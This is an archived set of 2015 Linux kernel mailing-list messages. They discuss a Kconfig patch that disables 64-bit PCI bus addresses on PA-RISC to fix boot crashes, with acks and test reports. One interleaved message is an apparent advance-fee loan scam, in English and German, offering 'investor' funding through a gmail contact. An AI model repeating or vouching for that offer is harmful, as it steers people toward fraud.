>      3a9ad0b4fdcd, we do use 64-bit PCI addresses in 64-bit kernels, and
>      apparently there's some PA-RISC problem related to them.
>
>      Fixes: 3a9ad0b4fdcd ("PCI: Add pci_bus_addr_t")
>      Link: http://lkml.kernel.org/r/alpine.LRH.2.11.1507260929000.30065@math.ut.ee
>      Reported-by: Meelis Roos <mroos@linux.ee>
>      Reported-by: Helge Deller <deller@gmx.de>
>      Based-on-idea-by: Yinghai Lu <yinghai@kernel.org>
>      Signed-off-by: Bjorn Helgaas <bhelgaas@google.com>

Looks OK. I will test later today.

Can you please add
  CC: stable@vger.kernel.org  # v3.19+
since commit 3a9ad0b4fdcd had that too and now all kernels down to 3.19+ are
broken on parisc...

Thanks!
Helge  
  
> diff --git a/drivers/pci/Kconfig b/drivers/pci/Kconfig
> index 73de4ef..944f500 100644
> --- a/drivers/pci/Kconfig
> +++ b/drivers/pci/Kconfig
> @@ -2,7 +2,7 @@
>   # PCI configuration
>   #
>   config PCI_BUS_ADDR_T_64BIT
> -	def_bool y if (ARCH_DMA_ADDR_T_64BIT || 64BIT)
> +	def_bool y if (ARCH_DMA_ADDR_T_64BIT || (64BIT && !PARISC))
>   	depends on PCI
>
>   config PCI_MSI

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mark Singer <MSinger@napavalley.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: (unknown)
Date: Thu, 20 Aug 2015 00:12:49 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <66EA9C2C53B30B46B1D28150E6EB8FB5015BB1A6902C__7956.56243940375$1440055129$gmane$org@mail.napavalley.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1440055129 25831 80.91.229.3 (20 Aug 2015 07:18:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 20 Aug 2015 07:18:49 +0000 (UTC)
To: unlisted-recipients:; (no To-header on input)
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 20 09:18:49 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZSK7a-0003h9-1s
	for glpp-linux-parisc@plane.gmane.org; Thu, 20 Aug 2015 09:18:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752764AbbHTHSZ convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 20 Aug 2015 03:18:25 -0400
Original-Received: from mail.napavalley.edu ([209.129.252.13]:17286 "EHLO
	mail.napavalley.edu" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751161AbbHTHSU convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 20 Aug 2015 03:18:20 -0400
X-Greylist: delayed 328 seconds by postgrey-1.27 at vger.kernel.org; Thu, 20 Aug 2015 03:18:18 EDT
Original-Received: from mail.napavalley.edu ([::1]) by mail.napavalley.edu ([::1]) with
 mapi; Thu, 20 Aug 2015 00:12:49 -0700
Original-Subject: 
Thread-Index: AQHQ2xefKXZY3dHpkkeEs1KMBGCggA==
Accept-Language: en-US
Content-Language: en-US
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
acceptlanguage: en-US
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25980
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25980>




Do you need an investor?
Our investors fund project and business. We also give out loan/credit t=
o any individual and company at 3% interest rate yearly. For more infor=
mation, Contact us via Email: devonfps@gmail.com=20

If you need an investor or quick funding, forward your response ONLY to=
 this E-mail: devonfps@gmail.com=20
=2E...
Haben Sie einen Investor brauchen?
Unsere Investoren Fonds Projekt- und Gesch=E4fts. Wir geben auch Darleh=
en / Kredite an jeden einzelnen und Unternehmen bei 3% Zinsen j=E4hrlic=
h. F=FCr weitere Informationen, kontaktieren Sie uns per E-Mail: devonf=
ps@gmail.com=20

Wenn Sie ein Investor oder schnelle Finanzierung ben=F6tigen, senden Si=
e Ihre Antwort nur auf diese E-mail: devonfps@gmail.com --
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Yinghai Lu <yinghai@kernel.org>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.ports.parisc,gmane.linux.kernel.pci
Subject: Re: Re: A500 boot crash in 4.2.0-rc3-00246-g763e326
Date: Thu, 20 Aug 2015 12:31:17 -0700
Lines: 45
Approved: news@gmane.org
Message-ID: <CAE9FiQXmzAoJ-5DtrzR94otRKtwJyzAxx8BUK+tuo2j_+rP9JA@mail.gmail.com>
References: <alpine.LRH.2.11.1507260929000.30065@math.ut.ee>
	<trinity-122a736f-3aac-4830-afc5-2abcd91792ea-1439820380917@3capp-gmx-bs71>
	<trinity-5720bef8-5a4c-4465-b9eb-622daaef650a-1439902901415@3capp-gmx-bs02>
	<alpine.LRH.2.20.1508182141200.24742@math.ut.ee>
	<55D38BE6.6080302@gmx.de>
	<CAE9FiQVUUN-SLO0U4G5CC6MEoXfb=bGd+f3bRgQprtaMHjsvpA@mail.gmail.com>
	<alpine.LRH.2.20.1508190747360.5154@math.ut.ee>
	<CAE9FiQW9hjDe2NBEfwQqcVZoJKqDjKT1P=7FcGjhVrF7wQW9+g@mail.gmail.com>
	<BLU436-SMTP773488774A8C76BF6C12E597670@phx.gbl>
	<trinity-ceafa563-3aad-4955-a6c6-205a2caf1e95-1439993198188@3capp-gmx-bs16>
	<20150820054234.GA10267@google.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1440099086 12005 80.91.229.3 (20 Aug 2015 19:31:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 20 Aug 2015 19:31:26 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	John David Anglin <dave.anglin@bell.net>,
	Meelis Roos <mroos@linux.ee>, linux-parisc@vger.kernel.org,
	"linux-pci@vger.kernel.org" <linux-pci@vger.kernel.org>,
	"sparclinux@vger.kernel.org" <sparclinux@vger.kernel.org>,
	James Bottomley <James.Bottomley@hansenpartnership.com>
To: Bjorn Helgaas <bhelgaas@google.com>
Original-X-From: sparclinux-owner@vger.kernel.org Thu Aug 20 21:31:24 2015
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1ZSVYW-0000gb-Ja
	for lnx-sparclinux@plane.gmane.org; Thu, 20 Aug 2015 21:31:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751895AbbHTTbT (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
	Thu, 20 Aug 2015 15:31:19 -0400
Original-Received: from mail-io0-f173.google.com ([209.85.223.173]:35272 "EHLO
	mail-io0-f173.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751582AbbHTTbS (ORCPT
	<rfc822;sparclinux@vger.kernel.org>); Thu, 20 Aug 2015 15:31:18 -0400
Original-Received: by iodt126 with SMTP id t126so58210900iod.2;
        Thu, 20 Aug 2015 12:31:17 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc:content-type;
        bh=FLIdVh6GlRZ84FH1SQi+HGKSfdxxKFYdFsUd2VD4la4=;
        b=CRTYaAj7gKzwWQmboGDRwvCzAInoyQkxrpEeduGsrp9OpS/OlD3UrWNqLcOM9jSbW2
         AF6lmbDS0qys+ys0rogSG/pNQkfJ+M7A04UhW3yrC3EGfdx7IoOehr1ZGP5AsRMu+Z7k
         o90+DeGeSaaEJCMB0tqtI6mfiAtYfIQK9Dcwexio8GPxXA8eqbtpkLbdybA9YmAoVEE/
         8+1TTOJ1xV8UU9bOJPa8mMfoPkDwUFO1pj13h/4nDYNQxGFfOc9mcW9yQfIvyVAg2Y4Y
         E2qJ7Rb9DVX0TAWEFrr+xULqLhYKrlMGeR11Mhlb7yVgbFw0+sDM2yrwbJQ9mY4ue/1a
         doUQ==
X-Received: by 10.107.19.163 with SMTP id 35mr4939809iot.170.1440099077393;
 Thu, 20 Aug 2015 12:31:17 -0700 (PDT)
Original-Received: by 10.64.120.34 with HTTP; Thu, 20 Aug 2015 12:31:17 -0700 (PDT)
In-Reply-To: <20150820054234.GA10267@google.com>
X-Google-Sender-Auth: 7U5eOrn86TGE_eTgAeaUhqks4gA
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:21511 gmane.linux.ports.parisc:25981 gmane.linux.kernel.pci:44533
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/21511>

On Wed, Aug 19, 2015 at 10:42 PM, Bjorn Helgaas <bhelgaas@google.com> wrote:

> commit 51a660a2732c
> Author: Bjorn Helgaas <bhelgaas@google.com>
> Date:   Thu Aug 20 00:08:15 2015 -0500
>
>     PCI: Don't use 64-bit bus addresses on PA-RISC
>
>     Meelis and Helge reported that 3a9ad0b4fdcd ("PCI: Add pci_bus_addr_t")
>     caused HPMCs on A500 and hangs on rp5470.
>
>     PA-RISC does not set ARCH_DMA_ADDR_T_64BIT, even for 64-bit kernels, so
>     prior to 3a9ad0b4fdcd, we always used 32-bit PCI addresses.  After
>     3a9ad0b4fdcd, we do use 64-bit PCI addresses in 64-bit kernels, and
>     apparently there's some PA-RISC problem related to them.
>
>     Fixes: 3a9ad0b4fdcd ("PCI: Add pci_bus_addr_t")
>     Link: http://lkml.kernel.org/r/alpine.LRH.2.11.1507260929000.30065@math.ut.ee
>     Reported-by: Meelis Roos <mroos@linux.ee>
>     Reported-by: Helge Deller <deller@gmx.de>
>     Based-on-idea-by: Yinghai Lu <yinghai@kernel.org>
>     Signed-off-by: Bjorn Helgaas <bhelgaas@google.com>
>
> diff --git a/drivers/pci/Kconfig b/drivers/pci/Kconfig
> index 73de4ef..944f500 100644
> --- a/drivers/pci/Kconfig
> +++ b/drivers/pci/Kconfig
> @@ -2,7 +2,7 @@
>  # PCI configuration
>  #
>  config PCI_BUS_ADDR_T_64BIT
> -       def_bool y if (ARCH_DMA_ADDR_T_64BIT || 64BIT)
> +       def_bool y if (ARCH_DMA_ADDR_T_64BIT || (64BIT && !PARISC))
>         depends on PCI
>
>  config PCI_MSI

Yes, that is better.

Acked-by: Yinghai Lu <yinghai@kernel.org>
--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.pci,gmane.linux.ports.sparc
Subject: Re: A500 boot crash in 4.2.0-rc3-00246-g763e326
Date: Thu, 20 Aug 2015 23:15:06 +0200
Lines: 54
Approved: news@gmane.org
Message-ID: <55D6435A.9060808@gmx.de>
References: <alpine.LRH.2.11.1507260929000.30065@math.ut.ee>
 <trinity-122a736f-3aac-4830-afc5-2abcd91792ea-1439820380917@3capp-gmx-bs71>
 <trinity-5720bef8-5a4c-4465-b9eb-622daaef650a-1439902901415@3capp-gmx-bs02>
 <alpine.LRH.2.20.1508182141200.24742@math.ut.ee> <55D38BE6.6080302@gmx.de>
 <CAE9FiQVUUN-SLO0U4G5CC6MEoXfb=bGd+f3bRgQprtaMHjsvpA@mail.gmail.com>
 <alpine.LRH.2.20.1508190747360.5154@math.ut.ee>
 <CAE9FiQW9hjDe2NBEfwQqcVZoJKqDjKT1P=7FcGjhVrF7wQW9+g@mail.gmail.com>
 <BLU436-SMTP773488774A8C76BF6C12E597670@phx.gbl>
 <trinity-ceafa563-3aad-4955-a6c6-205a2caf1e95-1439993198188@3capp-gmx-bs16>
 <20150820054234.GA10267@google.com>
 <CAE9FiQXmzAoJ-5DtrzR94otRKtwJyzAxx8BUK+tuo2j_+rP9JA@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1440105333 15803 80.91.229.3 (20 Aug 2015 21:15:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 20 Aug 2015 21:15:33 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	Meelis Roos <mroos@linux.ee>, linux-parisc@vger.kernel.org,
	"linux-pci@vger.kernel.org" <linux-pci@vger.kernel.org>,
	"sparclinux@vger.kernel.org" <sparclinux@vger.kernel.org>,
	James Bottomley <James.Bottomley@hansenpartnership.com>
To: Yinghai Lu <yinghai@kernel.org>,
	Bjorn Helgaas <bhelgaas@google.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 20 23:15:26 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZSXBF-0002L5-EI
	for glpp-linux-parisc@plane.gmane.org; Thu, 20 Aug 2015 23:15:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752731AbbHTVPY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 20 Aug 2015 17:15:24 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:53235 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752137AbbHTVPX (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 20 Aug 2015 17:15:23 -0400
Original-Received: from [192.168.20.60] ([92.203.50.142]) by mail.gmx.com (mrgmx102)
 with ESMTPSA (Nemesis) id 0M6fXs-1YWKPi1Zsy-00wSiX; Thu, 20 Aug 2015 23:15:10
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <CAE9FiQXmzAoJ-5DtrzR94otRKtwJyzAxx8BUK+tuo2j_+rP9JA@mail.gmail.com>
X-Provags-ID: V03:K0:fCVzLw8738+YnOJBFCMfSgonkFoiskGPWigiK9wJA46tRd/iWSV
 Tr+GrnmrkNuOjE9PtuPMzWg79G3/jz70T9wDTNrrSt3C7XuhPYNCBWsgbzZ13XDHupfOH3N
 i0WV7QTvMGRdmbYByn347bDTb9liLKxDnGDO0TZ3RQiHEz1KGRd1Lvwm5s3C/TH4BAJxrvI
 VMIe2XcM6dQy0zWQ3Tx/A==
X-UI-Out-Filterresults: notjunk:1;V01:K0:W5nLqrKkbFs=:bIIv7uxIswesZtoTBUmWGH
 ayv3rvc812O37Xk8uwMlKSs9T7F3DPFQYzEXI1Yj/qd8N1/ciC6iL1bembU/gLpIkJMi1FkI6
 9QcFKoehLsB/bDK1TjXcD7rStREwb+XsHjbRfLIADQuiqUdSxREmYc7MF1AJdUrcRbBFjiCve
 4SX5M8eXqnw9DpGs7I2tlHCrufCjOFjWhWKflNo9Xo2U9ajg8AEsoCZNluYKbXCNr2/LEvNeA
 4KUWBv48PVZe8+YLwnZMcmj3tY+1tQR8gF7nEbVoOktDWMTboEDMvFlK7go2Qpw2r/mSSTTU4
 51DCuWRTZmMxNlh1wGgJG9GcaWqaQefcbTatKKzW8kATRhIv0di4pvXho+VYGJ5oU7Gio/uQV
 H+GCdrlkM8e3y6/WN9+EB9w+34nD7wQtRMiqasvHsIeDswhFJWu1OwL/ia34a96GRjjz8erEj
 WNqm5EcIkb7MEMadqecY/lKaxDAGl1qAUQqTtJOCiPiYXviVyosZXHZI6c+9oBZ+m/sE5aDU1
 N6+aC0v9ywBLVt799Nb9E0f5md75T839tbiwN7ZrFycMnoSSRR4Ms9fh6HXfoxsr8lineXPuQ
 SghIhX1dDShjT+Ao93HtiLZHsf85ua0r4VXq9pIBgFIfxfSMYHzOO6nCDKlPWByHiMrTW9cJ4
 biSdBO75IgZlbKXkus4RHxMdlalglEdsijuiLA1Y8xOhkvT01heln8pNEq4N51BDKttKm2XSn
 KW8OcYYYb27iwFfBi9igoAM9te+9q5ogxW1BmA==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25982 gmane.linux.kernel.pci:44536 gmane.linux.ports.sparc:21514
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25982>

On 20.08.2015 21:31, Yinghai Lu wrote:
> On Wed, Aug 19, 2015 at 10:42 PM, Bjorn Helgaas <bhelgaas@google.com> wrote:
>
>> commit 51a660a2732c
>> Author: Bjorn Helgaas <bhelgaas@google.com>
>> Date:   Thu Aug 20 00:08:15 2015 -0500
>>
>>      PCI: Don't use 64-bit bus addresses on PA-RISC
>>
>>      Meelis and Helge reported that 3a9ad0b4fdcd ("PCI: Add pci_bus_addr_t")
>>      caused HPMCs on A500 and hangs on rp5470.
>>
>>      PA-RISC does not set ARCH_DMA_ADDR_T_64BIT, even for 64-bit kernels, so
>>      prior to 3a9ad0b4fdcd, we always used 32-bit PCI addresses.  After
>>      3a9ad0b4fdcd, we do use 64-bit PCI addresses in 64-bit kernels, and
>>      apparently there's some PA-RISC problem related to them.
>>
>>      Fixes: 3a9ad0b4fdcd ("PCI: Add pci_bus_addr_t")
>>      Link: http://lkml.kernel.org/r/alpine.LRH.2.11.1507260929000.30065@math.ut.ee
>>      Reported-by: Meelis Roos <mroos@linux.ee>
>>      Reported-by: Helge Deller <deller@gmx.de>
>>      Based-on-idea-by: Yinghai Lu <yinghai@kernel.org>
>>      Signed-off-by: Bjorn Helgaas <bhelgaas@google.com>
>>
>> diff --git a/drivers/pci/Kconfig b/drivers/pci/Kconfig
>> index 73de4ef..944f500 100644
>> --- a/drivers/pci/Kconfig
>> +++ b/drivers/pci/Kconfig
>> @@ -2,7 +2,7 @@
>>   # PCI configuration
>>   #
>>   config PCI_BUS_ADDR_T_64BIT
>> -       def_bool y if (ARCH_DMA_ADDR_T_64BIT || 64BIT)
>> +       def_bool y if (ARCH_DMA_ADDR_T_64BIT || (64BIT && !PARISC))
>>          depends on PCI
>>
>>   config PCI_MSI
>
> Yes, that is better.
>
> Acked-by: Yinghai Lu <yinghai@kernel.org>


Tested-by: Helge Deller <deller@gmx.de>
   and please add:
CC: stable@vger.kernel.org  # v3.19+

Helge

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bjorn Helgaas <bhelgaas@google.com>
Newsgroups: gmane.linux.kernel.pci,gmane.linux.ports.parisc,gmane.linux.ports.sparc
Subject: Re: A500 boot crash in 4.2.0-rc3-00246-g763e326
Date: Thu, 20 Aug 2015 14:30:51 -0700
Lines: 56
Approved: news@gmane.org
Message-ID: <CAErSpo5uC+V29y4TVmjstWyRZRBaA9Ao09bM2pVNmuyrF0grkA@mail.gmail.com>
References: <alpine.LRH.2.11.1507260929000.30065@math.ut.ee>
 <trinity-122a736f-3aac-4830-afc5-2abcd91792ea-1439820380917@3capp-gmx-bs71>
 <trinity-5720bef8-5a4c-4465-b9eb-622daaef650a-1439902901415@3capp-gmx-bs02>
 <alpine.LRH.2.20.1508182141200.24742@math.ut.ee> <55D38BE6.6080302@gmx.de>
 <CAE9FiQVUUN-SLO0U4G5CC6MEoXfb=bGd+f3bRgQprtaMHjsvpA@mail.gmail.com>
 <alpine.LRH.2.20.1508190747360.5154@math.ut.ee> <CAE9FiQW9hjDe2NBEfwQqcVZoJKqDjKT1P=7FcGjhVrF7wQW9+g@mail.gmail.com>
 <BLU436-SMTP773488774A8C76BF6C12E597670@phx.gbl> <trinity-ceafa563-3aad-4955-a6c6-205a2caf1e95-1439993198188@3capp-gmx-bs16>
 <20150820054234.GA10267@google.com> <CAE9FiQXmzAoJ-5DtrzR94otRKtwJyzAxx8BUK+tuo2j_+rP9JA@mail.gmail.com>
 <55D6435A.9060808@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1440106279 31478 80.91.229.3 (20 Aug 2015 21:31:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 20 Aug 2015 21:31:19 +0000 (UTC)
Cc: Yinghai Lu <yinghai@kernel.org>,
	John David Anglin <dave.anglin@bell.net>,
	Meelis Roos <mroos@linux.ee>, linux-parisc@vger.kernel.org,
	"linux-pci@vger.kernel.org" <linux-pci@vger.kernel.org>,
	"sparclinux@vger.kernel.org" <sparclinux@vger.kernel.org>,
	James Bottomley <James.Bottomley@hansenpartnership.com>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-pci-owner@vger.kernel.org Thu Aug 20 23:31:17 2015
Return-path: <linux-pci-owner@vger.kernel.org>
Envelope-to: glp-linux-pci@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-pci-owner@vger.kernel.org>)
	id 1ZSXQa-0004HD-1D
	for glp-linux-pci@plane.gmane.org; Thu, 20 Aug 2015 23:31:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753114AbbHTVbO (ORCPT <rfc822;glp-linux-pci@m.gmane.org>);
	Thu, 20 Aug 2015 17:31:14 -0400
Original-Received: from mail-wi0-f171.google.com ([209.85.212.171]:33150 "EHLO
	mail-wi0-f171.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752707AbbHTVbM (ORCPT
	<rfc822;linux-pci@vger.kernel.org>); Thu, 20 Aug 2015 17:31:12 -0400
Original-Received: by wijp15 with SMTP id p15so4170414wij.0
        for <linux-pci@vger.kernel.org>; Thu, 20 Aug 2015 14:31:11 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc:content-type;
        bh=dWAKEiyU+OhTbpZuGkW68NlC+PQJsZ1T/bQ3VlA9FEE=;
        b=Mjz+0mNx+fHp2+iRD0M5YcyK7xrhrss34K3ZY31RKIDZE+9DHogWrUB4JdBv5KGhX+
         KQ8cw4UJzIxiD0MpsEWeTBb4M/lKskGoLzoSj86O/hc66xGyD8sppJixTf3L07PHenxZ
         c9yRoAsp+ZbGeWXOLGfWamRSaIaONRCESVJVtStzqlINAXKZw8VjGW/K8fNkoc9AqdNo
         2fTMr1CHW+ov4z13F5Lbe4WE7JCUJDhkYcvaWh9GE9FIlaVT5DtT2WoXYm2aHSeyNlb3
         /2B7WNrvt8VsUDD4qiaa5sPiyiDAli/BBb5O0qbX7HRayb9pAQYEx3GEIpwGjftyMjak
         Zslw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:in-reply-to:references:from:date
         :message-id:subject:to:cc:content-type;
        bh=dWAKEiyU+OhTbpZuGkW68NlC+PQJsZ1T/bQ3VlA9FEE=;
        b=J/1jfoGaZ73F+v5fiLWr/t/rH8FY1f+8JlC4bTiOGV/M1/EeIAKewSL/geUTiq70LT
         lAmnPz/qAHG1oEaKeP9ph0+RiWWwjvzyGuacVMy6UkdHHRRjCXzi1uIWt2Te/lAAodO0
         B6bV8MJ+PUiX7SDvMFPNKocEim2cllzX78Gi9wRjxgLEJ2w5gCb6Qnj6eqQQoOz0jXGL
         FVuh1x09OOgyQ7L7T5FZeJUWBzUAQUJu3VZwUhK/tbB9+LBXsnIRsw94LPP9h5dSdEWq
         DalieDGVSQQzqgZkfTRrd+YFlwyKf70aos4F3yhz2yAPlwhzK+mN0mYoROnEsRto5kMV
         pEIQ==
X-Gm-Message-State: ALoCoQmQx2zECgk3baBpSJLY9DskHJzocim+XrSidf23vTQxE/t0dsek/8oCo2D3+xm35puq9Cnx
X-Received: by 10.180.98.137 with SMTP id ei9mr102682wib.4.1440106271588; Thu,
 20 Aug 2015 14:31:11 -0700 (PDT)
Original-Received: by 10.28.149.205 with HTTP; Thu, 20 Aug 2015 14:30:51 -0700 (PDT)
In-Reply-To: <55D6435A.9060808@gmx.de>
Original-Sender: linux-pci-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-pci.vger.kernel.org>
X-Mailing-List: linux-pci@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.pci:44538 gmane.linux.ports.parisc:25983 gmane.linux.ports.sparc:21516
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.pci/44538>

On Thu, Aug 20, 2015 at 2:15 PM, Helge Deller <deller@gmx.de> wrote:
> On 20.08.2015 21:31, Yinghai Lu wrote:
>>
>> On Wed, Aug 19, 2015 at 10:42 PM, Bjorn Helgaas <bhelgaas@google.com>
>> wrote:
>>
>>> commit 51a660a2732c
>>> Author: Bjorn Helgaas <bhelgaas@google.com>
>>> Date:   Thu Aug 20 00:08:15 2015 -0500
>>>
>>>      PCI: Don't use 64-bit bus addresses on PA-RISC
>>>
>>>      Meelis and Helge reported that 3a9ad0b4fdcd ("PCI: Add
>>> pci_bus_addr_t")
>>>      caused HPMCs on A500 and hangs on rp5470.
>>>
>>>      PA-RISC does not set ARCH_DMA_ADDR_T_64BIT, even for 64-bit kernels,
>>> so
>>>      prior to 3a9ad0b4fdcd, we always used 32-bit PCI addresses.  After
>>>      3a9ad0b4fdcd, we do use 64-bit PCI addresses in 64-bit kernels, and
>>>      apparently there's some PA-RISC problem related to them.
>>>
>>>      Fixes: 3a9ad0b4fdcd ("PCI: Add pci_bus_addr_t")
>>>      Link:
>>> http://lkml.kernel.org/r/alpine.LRH.2.11.1507260929000.30065@math.ut.ee
>>>      Reported-by: Meelis Roos <mroos@linux.ee>
>>>      Reported-by: Helge Deller <deller@gmx.de>
>>>      Based-on-idea-by: Yinghai Lu <yinghai@kernel.org>
>>>      Signed-off-by: Bjorn Helgaas <bhelgaas@google.com>
>>>
>>> diff --git a/drivers/pci/Kconfig b/drivers/pci/Kconfig
>>> index 73de4ef..944f500 100644
>>> --- a/drivers/pci/Kconfig
>>> +++ b/drivers/pci/Kconfig
>>> @@ -2,7 +2,7 @@
>>>   # PCI configuration
>>>   #
>>>   config PCI_BUS_ADDR_T_64BIT
>>> -       def_bool y if (ARCH_DMA_ADDR_T_64BIT || 64BIT)
>>> +       def_bool y if (ARCH_DMA_ADDR_T_64BIT || (64BIT && !PARISC))
>>>          depends on PCI
>>>
>>>   config PCI_MSI
>>
>>
>> Yes, that is better.
>>
>> Acked-by: Yinghai Lu <yinghai@kernel.org>
>
>
>
> Tested-by: Helge Deller <deller@gmx.de>
>   and please add:
> CC: stable@vger.kernel.org  # v3.19+

Done, thanks for testing this!

From - Thu Nov 08 21:37:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: barr lewis <projectfiles003@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: halo
Date: Sat, 22 Aug 2015 11:38:20 +0000
Lines: 6
Approved: news@gmane.org
Message-ID: <CAJ9wv6uMLOeF8fDvkOK3oxaRDgeSfcQ914JLthOo-+gQ+SYgSw__24029.4101335623$1440243514$gmane$org@mail.gmail.com>
Reply-To: product.file@voila.fr
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1440243514 13356 80.91.229.3 (22 Aug 2015 11:38:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Aug 2015 11:38:34 +0000 (UTC)
To: undisclosed-recipients:;
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Aug 22 13:38:34 2015
